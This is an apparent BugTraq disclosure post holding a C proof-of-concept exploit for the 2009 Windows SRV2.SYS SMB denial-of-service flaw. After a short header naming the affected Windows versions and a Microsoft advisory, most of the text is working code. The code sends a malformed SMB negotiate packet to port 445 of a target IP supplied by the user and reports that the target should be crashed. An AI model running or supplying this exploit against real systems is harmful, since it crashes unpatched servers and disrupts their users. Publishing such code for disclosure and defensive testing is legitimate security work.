BugTraq
SMB SRV2.SYS Denial of Service PoC Sep 09 2009 04:18AM
igottabug sogetthis com
/*

*

* SMB SRV2.SYS Denial of Service PoC

* Release Date: Sep 8, 2009

* Severity: Medium/High

* Systems Affected: Windows Vista SP1+SP2, Windows 2008 SP2, Windows 7 Beta + RC

* Discovered by: Laurent Gaffié

*

* Description:

* SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.

* The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used

* to identify the SMB dialect that will be used for futher communication.

*

* KB: http://www.microsoft.com/technet/security/advisory/975497.mspx

*/

#include <windows.h>

#include <stdio.h>

#pragma comment(lib, "WS2_32.lib")

char buff[] =

"\x00\x00\x00\x90" // Begin SMB header: Session message

"\xff\x53\x4d\x42" // Server Component: SMB

"\x72\x00\x00\x00" // Negociate Protocol

"\x00\x18\x53\xc8" // Operation 0x18 & sub 0xc853

"\x00\x26" // Process ID High: --> :) normal value should be "\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"

"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"

"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"

"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"

"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"

"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"

"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"

"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"

"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"

"\x30\x30\x32\x00";

int main(int argc, char *argv[]) {

if (argc < 2) {

printf("Syntax: %s [ip address]\r\n", argv[0]);

return -1;

}

WSADATA WSAdata;

WSAStartup(MAKEWORD(2, 2), &WSAdata);

SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

char *host = argv[1];

// fill in sockaddr and resolve the host

SOCKADDR_IN ssin;

memset(&ssin, 0, sizeof(ssin));

ssin.sin_family = AF_INET;

ssin.sin_port = htons((unsigned short)445);

ssin.sin_addr.s_addr = inet_addr(host);

printf("Connecting to %s:445... ", host);

if (connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == -1) {

printf("ERROR!\r\n");

return 0;

}

printf("OK\r\n");

printf("Sending malformed packet... ");

if (send(sock, buff, sizeof(buff), 0) <= 0) {

printf("ERROR!\r\n");

return 0;

}

printf("OK\r\n");

printf("Successfully sent packet!\r\nTarget should be crashed...\r\n");

// Close the socket

closesocket(sock);

WSACleanup();

return 1;

}

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